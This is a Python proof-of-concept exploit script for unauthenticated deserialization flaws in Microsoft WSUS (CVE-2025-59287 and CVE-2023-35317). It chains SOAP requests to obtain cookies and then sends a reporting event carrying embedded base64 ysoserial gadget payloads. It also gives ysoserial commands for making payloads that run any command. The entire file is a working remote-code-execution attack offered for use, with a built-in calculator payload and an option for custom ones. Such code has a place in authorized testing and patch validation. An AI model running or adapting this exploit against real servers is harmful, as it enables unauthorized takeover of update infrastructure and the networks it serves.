#!/usr/bin/env python3 """ CVE-2023-35317 - Exploits CVE-2023-35317 and CVE-2025-5928 Deserialization in Microsoft Windows Update Service Editer: Github.com/M507 ORIGINAL CODE /CREDITS: https://hawktrace.com/blog/CVE-2025-59287-UNAUTH Other used resources: - https://github.com/tecxx/CVE-2025-59287-WSUS - https://github.com/pwntester/ysoserial.net - https://code-white.com/blog/wsus-cve-2025-59287-analysis/ - https://hawktrace.com/blog/CVE-2025-59287-UNAUTH - https://hawktrace.com/blog/CVE-2025-59287 Tested on: Ubuntu 22.04.6 LTS and Linux Kali-RedTeam 5.16.0-kali7-amd64 """ import argparse import datetime import os import sys import uuid import requests from xml.etree import ElementTree as ET from xml.sax.saxutils import escape as xml_escape requests.packages.urllib3.disable_warnings( # type: ignore[attr-defined] requests.packages.urllib3.exceptions.InsecureRequestWarning # type: ignore[attr-defined] ) DEBUG = False class CheckerError(RuntimeError): """Raised when an expected operation fails.""" def _print(message: str) -> None: """Mimic PowerShell Write-Host output. All lines that start with "[DEBUG]" are only printed when --debug is used. """ if message.startswith("[DEBUG]") and not DEBUG: return sys.stdout.write(f"{message}\n") sys.stdout.flush() def get_auth_cookie(target: str, server_id: str | None = None, dns_name: str = "bugcrowd.local") -> str | None: if not server_id: server_id = str(uuid.uuid4()) url = f"{target.rstrip('/')}/SimpleAuthWebService/SimpleAuth.asmx" _print(f"[DEBUG] get_reporting_cookie -> url: {url}") headers = { "SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/Server/SimpleAuthWebService/GetAuthorizationCookie"', "Content-Type": "text/xml", } soap_body = f""" {server_id} {dns_name} """ try: response = requests.post( url, data=soap_body, headers=headers, timeout=300, verify=False, ) _print(f"[DEBUG] send_test_event status: {response.status_code}") _print(f"[DEBUG] send_test_event body: {response.text.strip()}") if response.status_code == 200: xml_response = ET.fromstring(response.content) cookie_node = xml_response.find(".//{*}CookieData") if cookie_node is not None and cookie_node.text: _print(f"[+] Using ID: {server_id}") return cookie_node.text except requests.RequestException as exc: _print(f"[-] Auth cookie error: {exc}") return None def get_server_id(target: str) -> str: url = f"{target.rstrip('/')}/ReportingWebService/ReportingWebService.asmx" _print(f"[DEBUG] get_reporting_cookie -> url: {url}") headers = { "SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/GetRollupConfiguration"', "Content-Type": "text/xml", } soap_body = """ """ try: response = requests.post( url, data=soap_body, headers=headers, timeout=300, verify=False, ) _print(f"[DEBUG] send_test_event status: {response.status_code}") _print(f"[DEBUG] send_test_event body: {response.text.strip()}") if response.status_code == 200: xml_response = ET.fromstring(response.content) server_node = xml_response.find(".//{*}ServerId") if server_node is not None and server_node.text: _print(f"[+] Server ID: {server_node.text}") return server_node.text except requests.RequestException as exc: _print(f"[-] Server ID error: {exc}") fallback_id = str(uuid.uuid4()) _print(f"[!] Using fallback ID: {fallback_id}") return fallback_id def get_reporting_cookie(target: str, auth_cookie: str) -> dict[str, str] | None: url = f"{target.rstrip('/')}/ClientWebService/Client.asmx" _print(f"[DEBUG] get_reporting_cookie -> url: {url}") headers = { "SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/Server/ClientWebService/GetCookie"', "Content-Type": "text/xml", } time_now = datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%SZ") soap_body = f""" SimpleTargeting {auth_cookie} {time_now} {time_now} 1.20 """ try: response = requests.post( url, data=soap_body, headers=headers, timeout=300, verify=False, ) _print(f"[DEBUG] send_test_event status: {response.status_code}") _print(f"[DEBUG] send_test_event body: {response.text.strip()}") if response.status_code == 200: xml_response = ET.fromstring(response.content) cookie_data: dict[str, str] = {} expiration_node = xml_response.find(".//{*}Expiration") if expiration_node is not None and expiration_node.text: cookie_data["expiration"] = expiration_node.text encrypted_data_node = xml_response.find(".//{*}EncryptedData") if encrypted_data_node is not None and encrypted_data_node.text: cookie_data["encrypted_data"] = encrypted_data_node.text return cookie_data except requests.RequestException: pass return None def send_test_event(target: str, cookie: dict[str, str], payload: str) -> dict[str, str | bool]: url = f"{target.rstrip('/')}/ReportingWebService/ReportingWebService.asmx" target_sid = str(uuid.uuid4()) event_instance_id = str(uuid.uuid4()) time_now = datetime.datetime.utcnow().strftime("%Y-%m-%dT%H:%M:%S.%f")[:-3] pop_calc = ( '' "" '' "Binary" '' '' '' "false" "1033" "false" '' "1" '' '' f"{payload}" "" ) escaped_payload = xml_escape(pop_calc) soap_body = f""" {cookie['expiration']} {cookie['encrypted_data']} {time_now} {target_sid} 0 {time_now} {event_instance_id} 2 389 301 00000000-0000-0000-0000-000000000000 0 0 LocalServer Administrator=SYSTEM SynchronizationUpdateErrorsKey={escaped_payload} """ headers = { "Content-Type": "text/xml", "Accept": "text/xml", "User-Agent": "Windows-Update-Agent", "SOAPAction": '"http://www.microsoft.com/SoftwareDistribution/ReportEventBatch"', } try: response = requests.post( url, data=soap_body, headers=headers, timeout=300, verify=False, ) _print(f"[DEBUG] send_test_event status: {response.status_code}") _print(f"[DEBUG] send_test_event body: {response.text.strip()}") if response.status_code == 200 and "true" in response.text: return { "Success": True, "EventId": event_instance_id, "TargetSid": target_sid, } return {"Success": False} except requests.RequestException as exc: _print(f"[DEBUG] Exception: {exc}") return {"Success": False} def _prepare_messages() -> None: pass STATIC_YSO_PAYLOAD = """AAEAAAD/////AQAAAAAAAAAMAgAAAF5NaWNyb3NvZnQuUG93ZXJTaGVsbC5FZGl0b3IsIFZlcnNpb249My4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0zMWJmMzg1NmFkMzY0ZTM1BQEAAABCTWljcm9zb2Z0LlZpc3VhbFN0dWRpby5UZXh0LkZvcm1hdHRpbmcuVGV4dEZvcm1hdHRpbmdSdW5Qcm9wZXJ0aWVzAQAAAA9Gb3JlZ3JvdW5kQnJ1c2gBAgAAAAYDAAAAugU8P3htbCB2ZXJzaW9uPSIxLjAiIGVuY29kaW5nPSJ1dGYtMTYiPz4NCjxPYmplY3REYXRhUHJvdmlkZXIgTWV0aG9kTmFtZT0iU3RhcnQiIElzSW5pdGlhbExvYWRFbmFibGVkPSJGYWxzZSIgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiIgeG1sbnM6c2Q9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PVN5c3RlbSIgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiPg0KICA8T2JqZWN0RGF0YVByb3ZpZGVyLk9iamVjdEluc3RhbmNlPg0KICAgIDxzZDpQcm9jZXNzPg0KICAgICAgPHNkOlByb2Nlc3MuU3RhcnRJbmZvPg0KICAgICAgICA8c2Q6UHJvY2Vzc1N0YXJ0SW5mbyBBcmd1bWVudHM9Ii9jIGNtZCAvYyBjYWxjIiBTdGFuZGFyZEVycm9yRW5jb2Rpbmc9Int4Ok51bGx9IiBTdGFuZGFyZE91dHB1dEVuY29kaW5nPSJ7eDpOdWxsfSIgVXNlck5hbWU9IiIgUGFzc3dvcmQ9Int4Ok51bGx9IiBEb21haW49IiIgTG9hZFVzZXJQcm9maWxlPSJGYWxzZSIgRmlsZU5hbWU9ImNtZCIgLz4NCiAgICAgIDwvc2Q6UHJvY2Vzcy5TdGFydEluZm8+DQogICAgPC9zZDpQcm9jZXNzPg0KICA8L09iamVjdERhdGFQcm92aWRlci5PYmplY3RJbnN0YW5jZT4NCjwvT2JqZWN0RGF0YVByb3ZpZGVyPgs=""" STATIC_YSO_PAYLOAD_2023 = """AAEAAAD/////AQAAAAAAAAAMAgAAAE1TeXN0ZW0uV2ViLCBWZXJzaW9uPTQuMC4wLjAsIEN1bHR1cmU9bmV1dHJhbCwgUHVibGljS2V5VG9rZW49YjAzZjVmN2YxMWQ1MGEzYQUBAAAAIVN5c3RlbS5XZWIuU2VjdXJpdHkuUm9sZVByaW5jaXBhbAEAAAAqU3lzdGVtLlNlY3VyaXR5LkNsYWltc1ByaW5jaXBhbC5JZGVudGl0aWVzAQIAAAAGAwAAAOQJQUFFQUFBRC8vLy8vQVFBQUFBQUFBQUFNQWdBQUFGNU5hV055YjNOdlpuUXVVRzkzWlhKVGFHVnNiQzVGWkdsMGIzSXNJRlpsY25OcGIyNDlNeTR3TGpBdU1Dd2dRM1ZzZEhWeVpUMXVaWFYwY21Gc0xDQlFkV0pzYVdOTFpYbFViMnRsYmowek1XSm1NemcxTm1Ga016WTBaVE0xQlFFQUFBQkNUV2xqY205emIyWjBMbFpwYzNWaGJGTjBkV1JwYnk1VVpYaDBMa1p2Y20xaGRIUnBibWN1VkdWNGRFWnZjbTFoZEhScGJtZFNkVzVRY205d1pYSjBhV1Z6QVFBQUFBOUdiM0psWjNKdmRXNWtRbkoxYzJnQkFnQUFBQVlEQUFBQXl3VThQM2h0YkNCMlpYSnphVzl1UFNJeExqQWlJR1Z1WTI5a2FXNW5QU0oxZEdZdE1UWWlQejROQ2p4UFltcGxZM1JFWVhSaFVISnZkbWxrWlhJZ1RXVjBhRzlrVG1GdFpUMGlVM1JoY25RaUlFbHpTVzVwZEdsaGJFeHZZV1JGYm1GaWJHVmtQU0pHWVd4elpTSWdlRzFzYm5NOUltaDBkSEE2THk5elkyaGxiV0Z6TG0xcFkzSnZjMjltZEM1amIyMHZkMmx1Wm5ndk1qQXdOaTk0WVcxc0wzQnlaWE5sYm5SaGRHbHZiaUlnZUcxc2JuTTZjMlE5SW1Oc2NpMXVZVzFsYzNCaFkyVTZVM2x6ZEdWdExrUnBZV2R1YjNOMGFXTnpPMkZ6YzJWdFlteDVQVk41YzNSbGJTSWdlRzFzYm5NNmVEMGlhSFIwY0RvdkwzTmphR1Z0WVhNdWJXbGpjbTl6YjJaMExtTnZiUzkzYVc1bWVDOHlNREEyTDNoaGJXd2lQZzBLSUNBOFQySnFaV04wUkdGMFlWQnliM1pwWkdWeUxrOWlhbVZqZEVsdWMzUmhibU5sUGcwS0lDQWdJRHh6WkRwUWNtOWpaWE56UGcwS0lDQWdJQ0FnUEhOa09sQnliMk5sYzNNdVUzUmhjblJKYm1adlBnMEtJQ0FnSUNBZ0lDQThjMlE2VUhKdlkyVnpjMU4wWVhKMFNXNW1ieUJCY21kMWJXVnVkSE05SWk5aklGeGpiV1FnTDJNZ1kyRnNZeVp4ZFc5ME95QXRieUJpWVhObE5qUWlJRk4wWVc1a1lYSmtSWEp5YjNKRmJtTnZaR2x1WnowaWUzZzZUblZzYkgwaUlGTjBZVzVrWVhKa1QzVjBjSFYwUlc1amIyUnBibWM5SW50NE9rNTFiR3g5SWlCVmMyVnlUbUZ0WlQwaUlpQlFZWE56ZDI5eVpEMGllM2c2VG5Wc2JIMGlJRVJ2YldGcGJqMGlJaUJNYjJGa1ZYTmxjbEJ5YjJacGJHVTlJa1poYkhObElpQkdhV3hsVG1GdFpUMGlZMjFrSWlBdlBnMEtJQ0FnSUNBZ1BDOXpaRHBRY205alpYTnpMbE4wWVhKMFNXNW1iejROQ2lBZ0lDQThMM05rT2xCeWIyTmxjM00rRFFvZ0lEd3ZUMkpxWldOMFJHRjBZVkJ5YjNacFpHVnlMazlpYW1WamRFbHVjM1JoYm1ObFBnMEtQQzlQWW1wbFkzUkVZWFJoVUhKdmRtbGtaWEkrQ3c9PQs=""" def select_payload(cve: str, payload: str | None) -> str: """ Decide which payload to send based on user input and CVE selection. - If --payload is provided, use it directly. - If not, choose the static blob for the selected CVE: * CVE-2025-59287 -> STATIC_YSO_PAYLOAD * CVE-2023-35317 -> STATIC_YSO_PAYLOAD_2023 """ if payload: _print("[+] Using user-supplied payload") _print(f"Payload length: {len(payload)} characters") return payload if cve == "CVE-2025-59287": _print("[+] Using built-in static payload for CVE-2025-59287") _print(f"Payload length: {len(STATIC_YSO_PAYLOAD)} characters") return STATIC_YSO_PAYLOAD if cve == "CVE-2023-35317": _print("[+] Using built-in static payload for CVE-2023-35317") _print(f"Payload length: {len(STATIC_YSO_PAYLOAD_2023)} characters") return STATIC_YSO_PAYLOAD_2023 # argparse should prevent this, but keep a safety net. raise CheckerError(f"Unsupported CVE selection: {cve}") def parse_args() -> argparse.Namespace: parser = argparse.ArgumentParser( description=( "WSUS exploit helper for CVE-2023-35317 and CVE-2025-59287.\n\n" "Use this script to send a crafted ReportingWebService event containing a " "deserialization gadget payload to a vulnerable WSUS server." ), formatter_class=argparse.RawDescriptionHelpFormatter, epilog=( "Examples:\n" " python3 PoC.py --target-url http://wsus.local:8530 \\\n" " --dns-name bugcrowd.local --cve CVE-2025-59287\n\n" " python3 PoC.py --target-url http://wsus.local:8530 \\\n" " --dns-name bugcrowd.local --cve CVE-2023-35317 \\\n" " --payload BASE64_YSOSERIAL_BLOB\n\n" " python3 PoC.py --target-url http://wsus.local:8530 \\\n" " --dns-name bugcrowd.local --cve CVE-2025-59287 \\\n" " --random --debug\n" "To generate the payload, use the following command:\n" "For CVE-2025-59287: .\ysoserial.exe -g TextFormattingRunProperties -f BinaryFormatter -c \"cmd /c calc\" -o base64:\n" "For CVE-2023-35317: .\ysoserial.exe -g RolePrincipal -f BinaryFormatter -c \"cmd /c calc\" -o base64\n" ), ) parser.add_argument( "--target-url", required=True, help="Target WSUS server base URL, e.g. http://HOSTNAME:8530 (required)", ) parser.add_argument( "--dns-name", default="bugcrowd.local", help="Client DNS name used in SOAP requests (what WSUS will see as the client hostname)", ) parser.add_argument( "--random", action="store_true", help="Prefix --dns-name with a random subdomain so each run appears as a new client", ) parser.add_argument( "--payload", help=( "Optional base64-encoded ysoserial payload. If omitted, a built-in payload " "matching the selected --cve is used." ), ) parser.add_argument( "--cve", required=True, choices=["CVE-2023-35317", "CVE-2025-59287"], help=( "CVE to target. Controls which built-in payload is used when --payload is not " "provided (CVE-2023-35317 or CVE-2025-59287)." ), ) parser.add_argument( "--debug", action="store_true", help="Enable verbose debug logging (prints all lines starting with [DEBUG])", ) return parser.parse_args() def main() -> None: _prepare_messages() args = parse_args() global DEBUG DEBUG = args.debug target_url = args.target_url dns_name = args.dns_name cve = args.cve payload_arg = args.payload if args.random: dns_name = f"{uuid.uuid4().hex[:12]}.{dns_name.lstrip('.')}" try: output = select_payload(cve, payload_arg) except CheckerError as exc: _print(f"[-] Payload selection error: {exc}") sys.exit(1) _print("") _print("[+] Getting Server ID...") server_id = get_server_id(target_url) _print("[+] Auth cookie with Server ID...") auth_cookie = get_auth_cookie(target_url, server_id, dns_name=dns_name) if not auth_cookie: _print("[-] Failed to get auth cookie") sys.exit(1) cookie = get_reporting_cookie(target_url, auth_cookie) if not cookie: _print("[-] Failed to get reporting cookie") sys.exit(1) _print("[+] Sending event with payload...") result = send_test_event(target_url, cookie, output) if result.get("Success"): _print("[+] SUCCESS!") if cve == "CVE-2023-35317": _print("[!] RCE will trigger when you open the WSUS console!") _print(f"[!] to cleanup remove the {dns_name} computer from WSUS") else: _print("[-] Failed to send Test event") if __name__ == "__main__": main()